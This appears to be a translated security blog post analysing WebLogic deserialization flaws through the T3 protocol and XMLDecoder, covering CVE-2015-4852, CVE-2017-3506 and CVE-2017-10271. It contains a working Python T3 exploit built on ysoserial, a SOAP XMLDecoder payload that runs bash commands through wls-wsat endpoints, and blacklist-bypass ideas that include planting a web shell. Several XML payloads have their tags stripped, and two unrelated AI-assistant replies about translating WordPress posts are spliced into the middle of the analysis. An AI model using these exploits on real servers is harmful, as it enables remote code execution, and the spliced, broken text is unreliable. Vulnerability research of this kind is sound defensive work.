Understanding WebLogic Vulnerabilities: An In-depth Look at Historical Deserialization Issues and Exploitation Techniques

Network security

 

First, let’s refer to a diagram of historical WebLogic vulnerabilities released by the Qi An Xin team. It can be observed that deserialization issues are predominant, primarily stemming from XMLDecoder and the T3 protocol.

WebLogic vulnerabilities

T3 Protocol

WebLogic’s T3 protocol is the protocol used by WebLogic’s RMI. In traditional Java, RMI uses the JRMP protocol.

The communication of the JRMP protocol consists of the following components:

Client Object  
Server Object  
Client Proxy Object (Stub)  
Server Proxy Object (Skeleton)  
WebLogic vulnerabilities

While the T3 protocol improves upon the JRMP protocol, both the stub and skeleton are dynamically generated. When deploying objects to the RMI registry, WebLogic automatically generates the stub and skeleton.

Weblogic developed the T3 protocol because they needed a scalable and efficient protocol to build enterprise-level distributed object systems using Java.

Packet Capture Analysis

We want to packet capture and analyze the T3 protocol using two methods.
1. Write a T3 RMI server and a T3 RMI client, launch the client to request the RMI server, thereby achieving packet capture. The detailed steps for this method are covered in this article.https://hu3sky.github.io/2020/03/20/weblogic%20t3%20%E5%8D%8F%E8%AE%AE%E5%88%A9%E7%94%A8%E4%B8%8E%E9%98%B2%E5%BE%A1/#%E5%AE%9E%E7%8E%B0%E6%AD%A3%E5%B8%B8t3%E7%B1%BB%E7%9A%84%E8%B0%83%E7%94%A8

2. Use Python to simulate the client sending packets, thereby enabling packet capture and analysis of the T3 protocol. This implementation is relatively straightforward, so we’ll use this method to get a glimpse into the intricacies of the T3 protocol.

After completing the environment setup, we use the following exploit:

from os import popen
import struct # Responsible for the conversion of big and small ends
import subprocess
from sys import stdout
import socket
import re
import binascii

def generatePayload(gadget,cmd):
    YSO_PATH = "E:\\tools\\java\\ysoserial-master-d367e379d9-1.jar"
    popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)
    return popen.stdout.read()

def T3Exploit(ip,port,payload):
    sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sock.connect((ip,port))
    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
    sock.sendall(handshake.encode())
    data = sock.recv(1024)
    compile = re.compile("HELO:(.*).0.false")
    match = compile.findall(data.decode())
    if match:
        print("Weblogic: "+"".join(match))
    else:
        print("Not Weblogic")
        #return
    header = binascii.a2b_hex(b"00000000")
    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
    desflag = binascii.a2b_hex(b"fe010000")
    payload = header + t3header  +desflag+  payload
    payload = struct.pack(">I",len(payload)) + payload[4:]
    sock.send(payload)

if __name__ == "__main__":
    ip = "127.0.0.1"
    port = 7001
    gadget = "CommonsCollections1"
    cmd = "touch /tmp/hack"
    payload = generatePayload(gadget,cmd)
    T3Exploit(ip,port,payload)

After specifying the port and IP, you can use the following command to check if the attack was successful.

docker exec  weblogic1036jdk7u21 ls tmp/

We can get a glimpse of the T3 protocol by capturing the relevant traffic packets. Set Wireshark to `tcp.port==7001`, run the above script, and capture the T3 traffic.

The first packet sent is the T3 protocol header, with the T3 followed by the WebLogic client version.

The server will respond and after HELO, it will include the Weblogic server version. This feature can be exploited to probe the Weblogic server version.

The client will next send a relatively large packet, the content of which is analyzed as follows.

The packet contains only the content of the blue section. The first box indicates the packet length, and the second box represents the deserialization flag. Between these two boxes lie the T3 protocol headers, with the remaining portion being the serialized data.

When the T3 protocol transmits serialized data, it sometimes does not send just a single piece of serialized data. It might send multiple serialized data pieces, separated by deserialization markers, like this

CVE-2015-4852

Vulnerable Version

10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0

The above Exploit is used to exploit this vulnerability. The aforementioned CVE version does not provide any protection against the T3 deserialization security issue, utilizing the T3 protocol deserialization with Commons Collections (CC) chains. With JDK 1.7 and WebLogic 10.3.6.0, you can use CC chains 1, 3, and 6 to exploit the vulnerability.

This vulnerability can be considered the origin of the WebLogic deserialization vulnerability.

Analysis

weblogic.rjvm.InboundMsgAbbrev#readObject

The entry point, the readObject method, is located here, where the readObject method of InboundMsgAbbrev.ServerChannelInputStream is invoked. The variable ‘var1’ represents the serialized data, and we proceed with a follow-up.

InboundMsgAbbrev.ServerChannelInputStream#readObject

After further investigation, it was found that this class inherits from `ObjectInputStream` and hasn’t overridden the `readObject` method. This means that the serialized data is directly passed to the `ObjectInputStream` object as a parameter, invoking its `readObject` method. Consequently, this seamlessly triggered a deserialization vulnerability.

resolveClass

The reason for mentioning resolveClass here is that many articles online about T3 deserialization discuss this topic. It was something I wasn’t aware of before, so I decided to document it.

`resolveClass` is an essential method in `ObjectInputStream.readObject()`. This means that during the deserialization process, the serialized data always passes through the `resolveClass` method once.

The purpose of this method is to process the serialization descriptor of the class into the Class object of that class. Many interceptors for deserialization gadgets achieve their functionality by overriding this method (such as using a blacklist to prohibit the deserialization of certain classes).

Here is a deserialization attack sequence diagram from Master Liao’s blog:

You can see that besides the resolveClass method, there’s also a resolveProxyClass. It is used to return a proxy class that implements all interfaces in the proxy class descriptor. This method will not be elaborated on here, but it can also serve as an interception point for deserialization attacks.

In the analysis of CVE-2015-4852, the `InboundMsgAbbrev.ServerChannelInputStream` class overrides `resolveClass`. If implemented correctly, it could mitigate the deserialization vulnerability. Unfortunately, this class directly calls the superclass’s `resolveClass`.

XMLDecoder

XMLDecoder is an API set used for the serialization or deserialization of XML, developed as early as JDK 1.4. Instead of the more commonly known DOM parsing, it utilizes SAX parsing. DOM parsing reads all data to generate a DOM tree for processing XML, while SAX processes XML through linear reading, thus resulting in relatively lower performance overhead.

apache xerces

Apache Xerces is a crucial component when XMLDecoder parses XML. Apache Xerces is a parser used to determine which tags are in XML and whether the syntax is valid. The official version integrated this parser into JDK 1.5, making it the default XML parser.

After the XML serialized data is conveyed to the `XMLDecoder.readObject()` method for deserialization and other operations, it is subsequently passed to Xerces for parsing. Once Xerces completes the parsing, the data is handed over to the `DocumentHandler` for further operations. If it is JDK 1.6, it will be processed by the `ObjectHandler`.

DocumentHandler

`DocumentHandler` (com.sun.beans.decoder.DocumentHandler) acts as an event handler when `XMLDecoder` processes XML data, implemented in JDK 1.7. It monitors incoming XML tags and attributes, invoking different handlers to process events. Our attack on `XMLDecoder`’s deserialization involves injecting specific XML serialized data to be processed by `DocumentHandler`, thereby enabling RCE and other attacks.

The figure below illustrates the various methods of handling tags as defined in the jdk1.7 DocumentHandler.

In JDK1.6, there is an ObjectHandler that functions similarly to DocumentHandler. However, it supports far fewer tags than DocumentHandler and is much less standardized. The following image shows part of the ObjectHandler’s code.

“Notably, one of the exploits for bypassing the patch for CVE-2019-2725 is based on JDK1.6.”

Below, I will give an example of the function of each tag.

string

<string>aaa</string>

The meaning is to represent a string with the value “aaa.” This tag is generally used in conjunction with other tags to achieve certain effects.

object

The object tag represents an object. Its class attribute specifies the class name, and its method attribute specifies a method name (the constructor method name is new).



<object class="A" method="new">
   <string>test</string> 
</object>

void

void is usually used with other tags. It also has attributes such as method and class, so it is very similar to the object tag.

void is generally used for function calls and specifies the method name through the method attribute, as well as other auxiliary functions (such as acting as an index in the array tag)

array

The array tag is used to represent an array, the class attribute specifies the class name, and the index is set internally through the index attribute of the void tag

For example, the XML representation of String[] a = new String[];s[1]=”test” is

<array class="java.lang.String">
    <void index="1">
    <string>test</string>
  </void>
</array>
Operation Principle

Different XML tags correspond to different handlers, which in turn correspond to different processing mechanisms. Most handlers have an `addAttribute` method, which is primarily used to extract attributes from tags and process them; and a `getValueObject` method, which is mainly used to retrieve the value of the tag.

First, using the Java tag as an example: var1 corresponds to the attribute name, and var2 corresponds to the attribute value. The Java tag will load classes according to the value in the class attribute.

Let’s take another look at the New tag: Similar to the handler of the java tag, it also performs class loading operations. However, NewElementHandler serves as the parent class for many handlers (such as ArrayElementHandler and ObjectElementHandler). This means that the subclasses of NewElementHandler can also perform class loading.

In the above text, it is mentioned that the object tag has the ability to perform class loading because its class attribute is handled by the parent class NewElementHandler.

The reason the void tag is so similar to the object tag is that VoidElementHandler inherits from ObjectElementHandler and only overrides the isArgument method; everything else is the same as the parent class.

Let’s take another look at the array; it is also a very important tag.

Demo debugging

From the text above, we can roughly understand that the XMLDecoder processes XML with the following flow: XMLDecoder.readObject() -> Xerces parsing -> DocumentHandler event handling. Why not write a demo to debug and see the specific process?

import java.beans.XMLDecoder;
import java.io.*;

public class Main {
    public static void main(String[] args) throws FileNotFoundException {
         String s = "< version="\"1.7.0_80\"" class="\"java.beans.XMLDecoder\"">\n" +
                 " \n" +
                 "  < class="\"java.lang.String\"" length="\"1\"">\n" +
                 "    < index="\"0\""><>calc</></>\n" +
                 "  </>\n" +
                 "  < method="\"start\""></>\n" +
                 " \n" + "</>"; StringBufferInputStream stringBufferInputStream = new StringBufferInputStream(s); XMLDecoder xmlDecoder = new XMLDecoder(stringBufferInputStream); Object o = xmlDecoder.readObject(); System.out.println(o); } }

Start debugging immediately by setting a breakpoint at `xmlDecoder.readObject()` in the demo. Continue from there.

readObject

Follow-up on `readObject`, you can find that it invokes `parsingComplete()`. Continue to trace further.

`java.beans.XMLDecoder#parsingComplete`, since we are monitoring the XML parsing process, this `parse` method appears quite suspicious. Additionally, since it can be traced, we will track it further.

`com.sun.beans.decoder.DocumentHandler#parse`, discovered another parse, proceeding.

com.sun.org.apache.xerces.internal.jaxp.SAXParserImpl#parse, found another parse method, will continue investigating.

It seems like you’re analyzing a Java class, specifically `SAXParserImpl`, and its `parse` method. This method is overloaded, meaning there are multiple versions of it with different parameters. If you need help understanding how to trace through these methods or have specific questions about them, feel free to ask!

com.sun.org.apache.xerces.internal.parsers.AbstractSAXParser#parse, discovered parse, and then again

com.sun.org.apache.xerces.internal.parsers.XMLParser#parse

com.sun.org.apache.xerces.internal.parsers. XML11Configuration#parse

I’m here to assist with web security and translating content. However, the text you’ve provided seems to involve a technical aspect of Java programming with some reference to XML parsing.

If you need further assistance with translating WordPress posts, kindly provide text from WordPress content, and I’ll help you with the translation while maintaining technical accuracy and American English standards.

Following up on `scanDocument`, at this point, the process has already entered the Xerces parsing phase. There is a `do..while` loop here, which functions to extract XML tags.

Call chain:

ScanDocument

Let’s take a look at the `scanDocument` method. Here, the `next()` method is executed in a loop, and during the first dozen iterations, this method handles parsing and event processing for the XML. The general processing flow involves instantiating the corresponding handler for each parsed tag, then iteratively calling the `addAttribute` method to obtain all its attributes and perform some event processing. When an end tag for a specific element is reached (e.g., “), the `getValueObject` method is invoked to retrieve the information of the value within the tag. Here’s a diagram to illustrate.

  public boolean scanDocument(boolean complete) throws IOException, XNIException {
      this.fEntityManager.setEntityHandler(this);
      int event = this.next();
      
do {
          switch(event) {
          case 1:
          case 2:
          case 6:
	..................
	 case 12:
              this.fDocumentHandler.startCDATA((Augmentations)null);
              this.fDocumentHandler.characters(this.getCharacterData(), (Augmentations)null);
              this.fDocumentHandler.endCDATA((Augmentations)null);

          event = this.next();

For debugging, I’ve set breakpoints on all methods of all handlers involved in the XML for easy troubleshooting.

In our XML, the first tag is JAVA, so, after placing breakpoints under various methods in JavaElementHandler, you can observe that the next method will first instantiate JavaElementHandler. It then calls addAttribute to insert the acquired class object (java.beans.XMLDecoder) into `this`.

Subsequently, it naturally proceeds to parse the `` tag. Since `ObjectElementHandler` does not define parsing for the `class` attribute, it will invoke the parent class `NewElementHandler` to handle the parsing. This will place the obtained class object (`java.lang.ProcessBuilder`) into `this`.


hus, obtain the tag -> instantiate the Handler -> iterate through tag attributes for event handling, until the first end tag (EndElement) is parsed, then execute StringElementHandler#getValueObject, returning the value within the tag processed by ValueObjectImpl.create.



Next, this `ValueObjectImpl` object will be assigned to the attribute of the handler corresponding to the parent tag.



However, analyze to< index=”0″><>calc</></>When at this time, the `void` tag’s function is determined by the `if` logic assessment, where the `void` acts as part of assigning a value to an array element. Thus, it assigns values to the array through the `set` method.



When parsing to< method=”start”></>When dealing with the end tag, the logic is as follows: first, it retrieves the instantiated object corresponding to the type from the parent handler, and then it applies the start method to it.



If we follow up on this `getContextBean`, we will arrive here and find that it indeed calls the parent handler in the chain, that is, the `getValueObject` of `ObjectElementHandler`.



Following up to examine the logic of the parent handler’s `getValueObject`, it indeed returned a new `ProcessBuilder(“calc”)`. The `calc` field is present in `var5.argument`, which wasn’t captured in the screenshot.



Returning to this handler, through concatenation, executed `new ProcessBuilder(“calc”).start();` to launch the calculator.



Conclusion


When XML data is passed into `XMLDecoder.readObject`, it undergoes some processing before being passed to the `scanDocument` method. This method iterates over XML tags, delegating them to respective Handlers for further processing. Child tag handlers are linked to parent tag handlers using a linked list structure. Consequently, with each tag parsed, a new element is added to this linked list structure, accompanied by some event handling.


From a security perspective, this means that an attacker can inject malicious XML data and forward it to the XMLDecoder for parsing. The XMLDecoder will iterate through the XML data and concatenate it until it eventually constructs a complete malicious command, which is then executed.


CVE-2017-3506&CVE-2017-10271


Scope of ImpactWebLogic 10.3.6.0


  • WebLogic 12.1.3.0

  • WebLogic 12.2.1.0

  • WebLogic 12.2.1.1

  • WebLogic 12.2.1.2


  • The vulnerability exploits the WebLogic’s `wls-wsat` component, which uses `XMLDecoder` to parse XML. This allows the injection of malicious XML data, leading to a deserialization attack.


    Reproduction analysis is as follows


    [*] wls-wsat component paths:

    /wls-wsat/CoordinatorPortType
    /wls-wsat/CoordinatorPortType11
    /wls-wsat/ParticipantPortType
    /wls-wsat/ParticipantPortType11
    /wls-wsat/RegistrationPortTypeRPC
    /wls-wsat/RegistrationPortTypeRPC11
    /wls-wsat/RegistrationRequesterPortType
    /wls-wsat/RegistrationRequesterPortType1

    Send the following data packet to the weblogic route http://xxx:7001/wls-wsat/CoordinatorPortType


    < xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><>< xmlns:work="http://bea.com/2004/06/soap/workarea/">< version="1.8.0_131" class="java.beans.XMLDecoder">< class="java.lang.ProcessBuilder">< class="java.lang.String" length="3">< index="0"><>/bin/bash</></>< index="1"><>-c</></>< index="2"><>touch /tmp/1234</></></>< method="start"></></></></><></></></>

    And modify the content-type



    Here, I set a breakpoint directly under javaElementHandler#addAttribute and observed the stack information. I discovered that it was at WorkContextXmlInputAdapter#readUTF where the readObject method of xmlDecoder was called. Our XML went straight through and was parsed by the XMLDecoder without any hindrance.



    Attack Results



    CVE-2017-3506The patch solution involved using a blacklist mechanism to disable the object tag, which proved to be quite easily circumvented, leading to CVE-2017-10271.


    This is the code related to blacklist verification.


    private void validate(InputStream is) {
    WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
    try {
    SAXParser parser = factory.newSAXParser();
    parser.parse(is, new DefaultHandler() {
    public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
    if(qName.equalsIgnoreCase("object")) {
    throw new IllegalStateException("Invalid context type: object");
    }
    }
    });
    } catch (ParserConfigurationException var5) {
    throw new IllegalStateException("Parser Exception", var5);
    } catch (SAXException var6) {
    throw new IllegalStateException("Parser Exception", var6);
    } catch (IOException var7) {
    throw new IllegalStateException("Parser Exception", var7);
    }
    }

    Bypassing involves simply changing the `object` tag to a `void` tag. From a code perspective, the `void` and `object` handlers are highly similar due to their parent-child class relationship.


    The patch for CVE-2017-10271 continues to enhance the blacklist. Besides the object tag, the method, new, and array tags have been addressed as well. The object, new, and method tags are directly banned. The void attribute can only set the index, and the class of the array can only be set to the byte type.


    private void validate(InputStream is) {
    WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
    try {
    SAXParser parser = factory.newSAXParser();
    parser.parse(is, new DefaultHandler() {
    private int overallarraylength = 0;
    public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
    if(qName.equalsIgnoreCase("object")) {
    throw new IllegalStateException("Invalid element qName:object");
    } else if(qName.equalsIgnoreCase("new")) {
    throw new IllegalStateException("Invalid element qName:new");
    } else if(qName.equalsIgnoreCase("method")) {
    throw new IllegalStateException("Invalid element qName:method");
    } else {
    if(qName.equalsIgnoreCase("void")) {
    for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
    if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
    throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
    }
    }
    }
    if(qName.equalsIgnoreCase("array")) {
    String var9 = attributes.getValue("class");
    if(var9 != null && !var9.equalsIgnoreCase("byte")) {
    throw new IllegalStateException("The value of class attribute is not valid for array element.");
    }

    If you want to bypass its blacklist directly, here are some ideas:


    Construct a class using the `class` tag, but due to restrictions on the `method` function, function calls cannot be made. You must work from the constructor method, and the parameters should be of basic types:



    • The constructor has file writing operations, with both the filename and content being controllable, allowing for the possibility of a web shell.

    • Constructor functions have additional deserialization operations, allowing us to perform secondary deserialization.

    • The constructor contains operations that directly execute commands, and the command execution is controllable.

    • There are other actions that might lead to RCE, such as expression injection and the like.

    The current exploit chains include:

  • FileSystemXmlApplicationContext-RCE

  • UnitOfWorkChangeSet-RCE

  • ysoserial-jdk7u21-RCE

  • JtaTransactionManager-JNDI Injection

  • Share this